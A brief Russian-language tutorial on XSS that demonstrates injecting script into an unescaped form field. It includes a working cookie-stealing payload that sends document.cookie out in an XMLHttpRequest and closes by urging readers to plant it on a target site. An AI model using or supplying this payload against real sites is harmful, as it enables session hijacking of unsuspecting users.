XSS-атаки (межсайтовый скриптинг)

XSS — атака на пользователя, направленная на выполнение произвольного сценария в его браузере.

Например, форма ниже выводит текст, введенный пользователем, никак не обрабатывая. Это позволяет внедрить, например. JS-код. Достаточно просто ввести его в поле ввода, заключив между тегами: <script> и </script>

Введите JS-тэги и любой код между ними

Чаще всего XSS используются для кражи куки (Cookie). В них часто хранится информация, позволяющая пользователю перемещаться между страницами сайта без повторной авторизации.

Проще всего встроить в сайт JS-код. Этим мы сейчас и займемся. Вот пример кода, который будет отображать пользователю все куки с данного сайта при нажатии в любом месте страницы:

document.addEventListener("click", function() {
alert(document.cookie);
});

Надо модернизировать данный код так, чтобы данные отправлялись на какой-либо сервер, где можно будет обработать данную информацию. Например, это может быть так:

document.addEventListener("click", function() {
// 0. Получаем куки пользователя
var cookie = document.cookie;
// 1. Создаём новый объект XMLHttpRequest
var xhr = new XMLHttpRequest();
// 2. Конфигурируем его: GET-запрос на текущий url, добавляя к нему GET-параметр с кукой
xhr.open('GET', '?cookie='+cookie, true);
// 3. Отсылаем запрос
xhr.send();
});

Теперь остается только внедрить этот код на нужный нам сайт и ловить куки.

Сложность еще может заключаться в том, что современные браузеры научились распознавать XSS-атаки и успешно их блокировать. Поэтому с каждым разом злоумышленникам приходится придумывать всё более и более изощренные способы взлома.